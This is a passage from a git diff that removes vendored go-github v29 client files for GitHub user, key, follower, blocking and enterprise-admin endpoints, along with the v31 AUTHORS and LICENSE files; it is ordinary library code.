UserContext struct { - Message *string `json:"message,omitempty"` - Octicon *string `json:"octicon,omitempty"` -} - -// GetHovercard fetches contextual information about user. It requires authentication -// via Basic Auth or via OAuth with the repo scope. -// -// GitHub API docs: https://developer.github.com/v3/users/#get-contextual-information-about-a-user -func (s *UsersService) GetHovercard(ctx context.Context, user string, opt *HovercardOptions) (*Hovercard, *Response, error) { - u := fmt.Sprintf("users/%v/hovercard", user) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - hc := new(Hovercard) - resp, err := s.client.Do(ctx, req, hc) - if err != nil { - return nil, resp, err - } - - return hc, resp, nil -} - -// UserListOptions specifies optional parameters to the UsersService.ListAll -// method. -type UserListOptions struct { - // ID of the last user seen - Since int64 `url:"since,omitempty"` - - // Note: Pagination is powered exclusively by the Since parameter, - // ListOptions.Page has no effect. - // ListOptions.PerPage controls an undocumented GitHub API parameter. - ListOptions -} - -// ListAll lists all GitHub users. -// -// To paginate through all users, populate 'Since' with the ID of the last user. -// -// GitHub API docs: https://developer.github.com/v3/users/#get-all-users -func (s *UsersService) ListAll(ctx context.Context, opt *UserListOptions) ([]*User, *Response, error) { - u, err := addOptions("users", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// ListInvitations lists all currently-open repository invitations for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#list-a-users-repository-invitations -func (s *UsersService) ListInvitations(ctx context.Context, opt *ListOptions) ([]*RepositoryInvitation, *Response, error) { - u, err := addOptions("user/repository_invitations", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - invites := []*RepositoryInvitation{} - resp, err := s.client.Do(ctx, req, &invites) - if err != nil { - return nil, resp, err - } - - return invites, resp, nil -} - -// AcceptInvitation accepts the currently-open repository invitation for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#accept-a-repository-invitation -func (s *UsersService) AcceptInvitation(ctx context.Context, invitationID int64) (*Response, error) { - u := fmt.Sprintf("user/repository_invitations/%v", invitationID) - req, err := s.client.NewRequest("PATCH", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// DeclineInvitation declines the currently-open repository invitation for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#decline-a-repository-invitation -func (s *UsersService) DeclineInvitation(ctx context.Context, invitationID int64) (*Response, error) { - u := fmt.Sprintf("user/repository_invitations/%v", invitationID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/users_administration.go b/vendor/github.com/google/go-github/v29/github/users_administration.go deleted file mode 100644 index 1c483a7b17..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users_administration.go +++ /dev/null @@ -1,72 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// PromoteSiteAdmin promotes a user to a site administrator of a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#promote-an-ordinary-user-to-a-site-administrator -func (s *UsersService) PromoteSiteAdmin(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("users/%v/site_admin", user) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// DemoteSiteAdmin demotes a user from site administrator of a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#demote-a-site-administrator-to-an-ordinary-user -func (s *UsersService) DemoteSiteAdmin(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("users/%v/site_admin", user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// UserSuspendOptions represents the reason a user is being suspended. -type UserSuspendOptions struct { - Reason *string `json:"reason,omitempty"` -} - -// Suspend a user on a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#suspend-a-user -func (s *UsersService) Suspend(ctx context.Context, user string, opt *UserSuspendOptions) (*Response, error) { - u := fmt.Sprintf("users/%v/suspended", user) - - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// Unsuspend a user on a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#unsuspend-a-user -func (s *UsersService) Unsuspend(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("users/%v/suspended", user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/users_blocking.go b/vendor/github.com/google/go-github/v29/github/users_blocking.go deleted file mode 100644 index 39e45601cc..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users_blocking.go +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListBlockedUsers lists all the blocked users by the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#list-blocked-users -func (s *UsersService) ListBlockedUsers(ctx context.Context, opt *ListOptions) ([]*User, *Response, error) { - u := "user/blocks" - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - var blockedUsers []*User - resp, err := s.client.Do(ctx, req, &blockedUsers) - if err != nil { - return nil, resp, err - } - - return blockedUsers, resp, nil -} - -// IsBlocked reports whether specified user is blocked by the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#check-whether-youve-blocked-a-user -func (s *UsersService) IsBlocked(ctx context.Context, user string) (bool, *Response, error) { - u := fmt.Sprintf("user/blocks/%v", user) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - resp, err := s.client.Do(ctx, req, nil) - isBlocked, err := parseBoolResponse(err) - return isBlocked, resp, err -} - -// BlockUser blocks specified user for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#block-a-user -func (s *UsersService) BlockUser(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/blocks/%v", user) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnblockUser unblocks specified user for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#unblock-a-user -func (s *UsersService) UnblockUser(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/blocks/%v", user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/users_emails.go b/vendor/github.com/google/go-github/v29/github/users_emails.go deleted file mode 100644 index 78d2149119..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users_emails.go +++ /dev/null @@ -1,72 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import "context" - -// UserEmail represents user's email address -type UserEmail struct { - Email *string `json:"email,omitempty"` - Primary *bool `json:"primary,omitempty"` - Verified *bool `json:"verified,omitempty"` - Visibility *string `json:"visibility,omitempty"` -} - -// ListEmails lists all email addresses for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/emails/#list-email-addresses-for-a-user -func (s *UsersService) ListEmails(ctx context.Context, opt *ListOptions) ([]*UserEmail, *Response, error) { - u := "user/emails" - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var emails []*UserEmail - resp, err := s.client.Do(ctx, req, &emails) - if err != nil { - return nil, resp, err - } - - return emails, resp, nil -} - -// AddEmails adds email addresses of the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/emails/#add-email-addresses -func (s *UsersService) AddEmails(ctx context.Context, emails []string) ([]*UserEmail, *Response, error) { - u := "user/emails" - req, err := s.client.NewRequest("POST", u, emails) - if err != nil { - return nil, nil, err - } - - var e []*UserEmail - resp, err := s.client.Do(ctx, req, &e) - if err != nil { - return nil, resp, err - } - - return e, resp, nil -} - -// DeleteEmails deletes email addresses from authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/emails/#delete-email-addresses -func (s *UsersService) DeleteEmails(ctx context.Context, emails []string) (*Response, error) { - u := "user/emails" - req, err := s.client.NewRequest("DELETE", u, emails) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/users_followers.go b/vendor/github.com/google/go-github/v29/github/users_followers.go deleted file mode 100644 index c2224096a6..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users_followers.go +++ /dev/null @@ -1,119 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListFollowers lists the followers for a user. Passing the empty string will -// fetch followers for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#list-followers-of-a-user -func (s *UsersService) ListFollowers(ctx context.Context, user string, opt *ListOptions) ([]*User, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/followers", user) - } else { - u = "user/followers" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// ListFollowing lists the people that a user is following. Passing the empty -// string will list people the authenticated user is following. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#list-users-followed-by-another-user -func (s *UsersService) ListFollowing(ctx context.Context, user string, opt *ListOptions) ([]*User, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/following", user) - } else { - u = "user/following" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// IsFollowing checks if "user" is following "target". Passing the empty -// string for "user" will check if the authenticated user is following "target". -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#check-if-you-are-following-a-user -func (s *UsersService) IsFollowing(ctx context.Context, user, target string) (bool, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/following/%v", user, target) - } else { - u = fmt.Sprintf("user/following/%v", target) - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - following, err := parseBoolResponse(err) - return following, resp, err -} - -// Follow will cause the authenticated user to follow the specified user. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#follow-a-user -func (s *UsersService) Follow(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/following/%v", user) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// Unfollow will cause the authenticated user to unfollow the specified user. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#unfollow-a-user -func (s *UsersService) Unfollow(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/following/%v", user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/users_gpg_keys.go b/vendor/github.com/google/go-github/v29/github/users_gpg_keys.go deleted file mode 100644 index 07ed38dcbe..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users_gpg_keys.go +++ /dev/null @@ -1,128 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// GPGKey represents a GitHub user's public GPG key used to verify GPG signed commits and tags. -// -// https://developer.github.com/changes/2016-04-04-git-signing-api-preview/ -type GPGKey struct { - ID *int64 `json:"id,omitempty"` - PrimaryKeyID *int64 `json:"primary_key_id,omitempty"` - KeyID *string `json:"key_id,omitempty"` - PublicKey *string `json:"public_key,omitempty"` - Emails []GPGEmail `json:"emails,omitempty"` - Subkeys []GPGKey `json:"subkeys,omitempty"` - CanSign *bool `json:"can_sign,omitempty"` - CanEncryptComms *bool `json:"can_encrypt_comms,omitempty"` - CanEncryptStorage *bool `json:"can_encrypt_storage,omitempty"` - CanCertify *bool `json:"can_certify,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - ExpiresAt *time.Time `json:"expires_at,omitempty"` -} - -// String stringifies a GPGKey. -func (k GPGKey) String() string { - return Stringify(k) -} - -// GPGEmail represents an email address associated to a GPG key. -type GPGEmail struct { - Email *string `json:"email,omitempty"` - Verified *bool `json:"verified,omitempty"` -} - -// ListGPGKeys lists the public GPG keys for a user. Passing the empty -// string will fetch keys for the authenticated user. It requires authentication -// via Basic Auth or via OAuth with at least read:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#list-gpg-keys-for-a-user -func (s *UsersService) ListGPGKeys(ctx context.Context, user string, opt *ListOptions) ([]*GPGKey, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/gpg_keys", user) - } else { - u = "user/gpg_keys" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var keys []*GPGKey - resp, err := s.client.Do(ctx, req, &keys) - if err != nil { - return nil, resp, err - } - - return keys, resp, nil -} - -// GetGPGKey gets extended details for a single GPG key. It requires authentication -// via Basic Auth or via OAuth with at least read:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#get-a-single-gpg-key -func (s *UsersService) GetGPGKey(ctx context.Context, id int64) (*GPGKey, *Response, error) { - u := fmt.Sprintf("user/gpg_keys/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - key := &GPGKey{} - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// CreateGPGKey creates a GPG key. It requires authenticatation via Basic Auth -// or OAuth with at least write:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#create-a-gpg-key -func (s *UsersService) CreateGPGKey(ctx context.Context, armoredPublicKey string) (*GPGKey, *Response, error) { - gpgKey := &struct { - ArmoredPublicKey string `json:"armored_public_key"` - }{ArmoredPublicKey: armoredPublicKey} - req, err := s.client.NewRequest("POST", "user/gpg_keys", gpgKey) - if err != nil { - return nil, nil, err - } - - key := &GPGKey{} - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// DeleteGPGKey deletes a GPG key. It requires authentication via Basic Auth or -// via OAuth with at least admin:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#delete-a-gpg-key -func (s *UsersService) DeleteGPGKey(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("user/gpg_keys/%v", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/users_keys.go b/vendor/github.com/google/go-github/v29/github/users_keys.go deleted file mode 100644 index 39a4f54d6c..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users_keys.go +++ /dev/null @@ -1,109 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Key represents a public SSH key used to authenticate a user or deploy script. -type Key struct { - ID *int64 `json:"id,omitempty"` - Key *string `json:"key,omitempty"` - URL *string `json:"url,omitempty"` - Title *string `json:"title,omitempty"` - ReadOnly *bool `json:"read_only,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` -} - -func (k Key) String() string { - return Stringify(k) -} - -// ListKeys lists the verified public keys for a user. Passing the empty -// string will fetch keys for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#list-public-keys-for-a-user -func (s *UsersService) ListKeys(ctx context.Context, user string, opt *ListOptions) ([]*Key, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/keys", user) - } else { - u = "user/keys" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var keys []*Key - resp, err := s.client.Do(ctx, req, &keys) - if err != nil { - return nil, resp, err - } - - return keys, resp, nil -} - -// GetKey fetches a single public key. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#get-a-single-public-key -func (s *UsersService) GetKey(ctx context.Context, id int64) (*Key, *Response, error) { - u := fmt.Sprintf("user/keys/%v", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - key := new(Key) - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// CreateKey adds a public key for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#create-a-public-key -func (s *UsersService) CreateKey(ctx context.Context, key *Key) (*Key, *Response, error) { - u := "user/keys" - - req, err := s.client.NewRequest("POST", u, key) - if err != nil { - return nil, nil, err - } - - k := new(Key) - resp, err := s.client.Do(ctx, req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, nil -} - -// DeleteKey deletes a public key. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#delete-a-public-key -func (s *UsersService) DeleteKey(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("user/keys/%v", id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/users_projects.go b/vendor/github.com/google/go-github/v29/github/users_projects.go deleted file mode 100644 index bd2ca75e1f..0000000000 --- a/vendor/github.com/google/go-github/v29/github/users_projects.go +++ /dev/null @@ -1,68 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListProjects lists the projects for the specified user. -// -// GitHub API docs: https://developer.github.com/v3/projects/#list-user-projects -func (s *UsersService) ListProjects(ctx context.Context, user string, opt *ProjectListOptions) ([]*Project, *Response, error) { - u := fmt.Sprintf("users/%v/projects", user) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// CreateUserProjectOptions specifies the parameters to the UsersService.CreateProject method. -type CreateUserProjectOptions struct { - // The name of the project. (Required.) - Name string `json:"name"` - // The description of the project. (Optional.) - Body *string `json:"body,omitempty"` -} - -// CreateProject creates a GitHub Project for the current user. -// -// GitHub API docs: https://developer.github.com/v3/projects/#create-a-user-project -func (s *UsersService) CreateProject(ctx context.Context, opt *CreateUserProjectOptions) (*Project, *Response, error) { - u := "users/projects" - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/with_appengine.go b/vendor/github.com/google/go-github/v29/github/with_appengine.go deleted file mode 100644 index 59ce26b2ea..0000000000 --- a/vendor/github.com/google/go-github/v29/github/with_appengine.go +++ /dev/null @@ -1,20 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build appengine - -// This file provides glue for making github work on App Engine. - -package github - -import ( - "context" - "net/http" -) - -func withContext(ctx context.Context, req *http.Request) *http.Request { - // No-op because App Engine adds context to a request differently. - return req -} diff --git a/vendor/github.com/google/go-github/v29/github/without_appengine.go b/vendor/github.com/google/go-github/v29/github/without_appengine.go deleted file mode 100644 index 6f8fdac560..0000000000 --- a/vendor/github.com/google/go-github/v29/github/without_appengine.go +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build !appengine - -// This file provides glue for making github work without App Engine. - -package github - -import ( - "context" - "net/http" -) - -func withContext(ctx context.Context, req *http.Request) *http.Request { - return req.WithContext(ctx) -} diff --git a/vendor/github.com/google/go-github/v31/AUTHORS b/vendor/github.com/google/go-github/v31/AUTHORS deleted file mode 100644 index 4dd8d21b80..0000000000 --- a/vendor/github.com/google/go-github/v31/AUTHORS +++ /dev/null @@ -1,288 +0,0 @@ -# This is the official list of go-github authors for copyright purposes. -# -# This does not necessarily list everyone who has contributed code, since in -# some cases, their employer may be the copyright holder. To see the full list -# of contributors, see the revision history in source control or -# https://github.com/google/go-github/graphs/contributors. -# -# Authors who wish to be recognized in this file should add themselves (or -# their employer, as appropriate). - -178inaba -413x -Abhinav Gupta -adrienzieba -Ahmed Hagy -Aidan Steele -Ainsley Chong -Akeda Bagus -Akhil Mohan -Alec Thomas -Aleks Clark -Alex Bramley -Alex Orr -Alexander Harkness -Allen Sun -Amey Sakhadeo -Anders Janmyr -Andreas GarnÃĻs -Andrew Ryabchun -Andy Grunwald -Andy Hume -Andy Lindeman -anjanashenoy -Anshuman Bhartiya -Antoine -Antoine Pelisse -Anubha Kushwaha -appilon -Aravind -Arda Kuyumcu -ArÄąl Bozoluk -Austin Dizzy -Ben Batha -Benjamen Keroack -Beshr Kayali -Beyang Liu -Billy Lynch -BjÃļrn Häuser -Brad Harris -Brad Moylan -Bradley Falzon -Brandon Cook -Brian Egizi -Bryan Boreham -Cami Diez -Carl Johnson -Carlos Alexandro Becker -Carlos Tadeu Panato Junior -chandresh-pancholi -Charles Fenwick Elliott -Charlie Yan -Chris King -Chris Raborg -Chris Roche -Chris Schaefer -chrisforrette -Christian Muehlhaeuser -Christoph Sassenberg -Colin Misare -Craig Peterson -Cristian Maglie -Daehyeok Mun -Daniel Leavitt -Daniel Nilsson -Daoq -Dave Du Cros -Dave Henderson -Dave Protasowski -David Deng -David Jannotta -David Ji -David Lopez Reyes -Davide Zipeto -Dennis Webb -Dhi Aurrahman -Diego Lapiduz -Dmitri Shuralyov -dmnlk -Don Petersen -Doug Turner -Drew Fradette -Eivind -Eli Uriegas -Elliott Beach -Emerson Wood -eperm -Erick Fejta -erwinvaneyk -Evan Elias -Fabrice -Felix GeisendÃļrfer -Filippo Valsorda -Florian Forster -Francesc Gil -Francis -Francisco GuimarÃŖes -Fredrik JÃļnsson -Garrett Squire -George Kontridze -Georgy Buranov -Glen Mailer -Gnahz -Google Inc. -Grachev Mikhail -griffin_stewie -Guillaume Jacquet -Guz Alexander -Guðmundur Bjarni Ólafsson -Hanno Hecker -Hari haran -haya14busa -haya14busa -Huy Tr -huydx -i2bskn -Ioannis Georgoulas -Isao Jonas -isqua -Jameel Haffejee -James Cockbain -Jan Kosecki -Javier Campanini -Jens Rantil -Jeremy Morris -Jesse Newland -Jihoon Chung -Jimmi Dyson -Joan Saum -Joe Tsai -John Barton -John Engelman -Jordan Brockopp -Jordan Sussman -Joshua Bezaleel Abednego -JP Phillips -jpbelanger-mtl -Juan Basso -Julien Garcia Gonzalez -Julien Rostand -Junya Kono -Justin Abrahms -Jusung Lee -jzhoucliqr -kadern0 -Katrina Owen -Kautilya Tripathi -Keita Urashima -Kevin Burke -Konrad Malawski -Kookheon Kwon -Krzysztof Kowalczyk -Kshitij Saraogi -kyokomi -Laurent Verdoïa -Liam Galvin -Lovro MaÅžgon -Lucas Alcantara -Luke Evers -Luke Kysow -Luke Roberts -Luke Young -lynn [they] -Maksim Zhylinski -Mark Tareshawty -Martin-Louis Bright -Martins Sipenko -Marwan Sulaiman -Masayuki Izumi -Mat Geist -Matt -Matt Brender -Matt Gaunt -Matt Landis -Maxime Bury -Michael Spiegel -Michael Tiller -Michał Glapa -Nadav Kaner -Nathan VanBenschoten -Navaneeth Suresh -Neil O'Toole -Nick Miyake -Nick Spragg -Nikhita Raghunath -Noah Zoschke -ns-cweber -Ole Orhagen -Oleg Kovalov -Ondřej Kupka -Palash Nigam -Panagiotis Moustafellos -Parham Alvani -Parker Moore -parkhyukjun89 -Patrick DeVivo -Patrick Marabeas -Pavel Shtanko -Pete Wagner -Petr Shevtsov -Pierre Carrier -Piotr Zurek -Qais Patankar -Quang Le Hong -Quentin Leffray -Quinn Slack -Rackspace US, Inc. -Radek Simko -Radliński Ignacy -Rajat Jindal -Rajendra arora -Ranbir Singh -Ravi Shekhar Jethani -RaviTeja Pothana -rc1140 -Red Hat, Inc. -Ricco Førgaard -Rob Figueiredo -Rohit Upadhyay -Ronak Jain -Ruben Vereecken -Ryan Leung -Ryan Lower -Ryo Nakao -Safwan Olaimat -Sahil Dua -saisi -Sam MinnÊe -Sandeep Sukhani -Sander Knape -Sander van Harmelen -Sanket Payghan -Sarasa Kisaragi -Sean Wang -Sebastian Mandrean -Sebastian MÃĻland Pedersen -Sergey Romanov -Sergio Garcia -Sevki -Shagun Khemka -shakeelrao -Shawn Catanzarite -Shawn Smith -Shibasis Patel -Shrikrishna Singh -sona-tar -SoundCloud, Ltd. -Sridhar Mocherla -SriVignessh Pss -Stefan Sedich -Stian Eikeland -Suhaib Mujahid -Szymon Kodrebski -Takayuki Watanabe -Taketoshi Fujiwara -Tasya Aditya Rukmana -Thomas Bruyelle -TimothÊe Peignier -tkhandel -Trey Tacon -ttacon -Vaibhav Singh -Varadarajan Aravamudhan -Victor Castell -Victor Vrantchan -vikkyomkar -Vlad Ungureanu -Wasim Thabraze -Will Maier -Willem D'Haeseleer -William Bailey -William Cooke -xibz -Yann Malet -Yannick Utard -Yicheng Qin -Yosuke Akatsuka -Yumikiyo Osanai -Zach Latta diff --git a/vendor/github.com/google/go-github/v31/LICENSE b/vendor/github.com/google/go-github/v31/LICENSE deleted file mode 100644 index 28b6486f0b..0000000000 --- a/vendor/github.com/google/go-github/v31/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2013 The go-github AUTHORS. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/google/go-github/v31/github/actions.go b/vendor/github.com/google/go-github/v31/github/actions.go deleted file mode 100644 index f9f7f8ee86..0000000000 --- a/vendor/github.com/google/go-github/v31/github/actions.go +++ /dev/null @@ -1,12 +0,0 @@ -// Copyright 2020 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -// ActionsService handles communication with the actions related -// methods of the GitHub API. -// -// GitHub 